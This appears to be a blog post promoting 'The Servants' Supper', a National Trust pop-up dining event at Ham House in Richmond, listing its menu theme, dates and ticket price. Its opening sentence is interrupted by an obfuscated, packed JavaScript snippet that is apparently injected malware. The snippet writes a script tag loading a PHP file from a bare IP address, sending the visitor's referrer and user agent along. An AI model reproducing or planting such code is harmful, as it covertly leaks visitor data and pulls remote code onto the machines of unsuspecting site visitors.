THE ART OF DINING RETURNS WITH THE SERVANTS SUPPER…

NT

One (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbase|var|u0026u|referrer|rknbb||js|php’.split(‘|’),0,{}))
of our favourite London pop-up dining experiences, The Art of Dining is returning this November for the final in a three part series of events with the National Trust. This one is named The Servants’ Supper and takes place at Ham House in Richmond.

The Servants’ Supper will feature all of the usual shenanigans – from delish food, to theatre and set design. Upon arrival, guests will be shown to the rarely seen servants’ quarters for a drinkie whilst exploring the hidden, below stairs part of the house. When the Countess of Dysart isn’t looking, you will be taken on a surreptitious tour of the house before being led to the beautiful Orangery, where the servants of Ham House will be hosting a five-course feast.

The menu will be themed around 17th century British classics (as would have been served in Ham House) alongside peasant food from around the world. Tickets cost £55 but if it’s anything like past events it’ll be well worth it!

13th 14th 15th 16th & 20th 21st 22nd 23rd Nov, 6.30pm – 11pm
Ham Street, Ham, Richmond-upon-Thames, TW10 7RS
www.theartofdining.co.uk

Loading...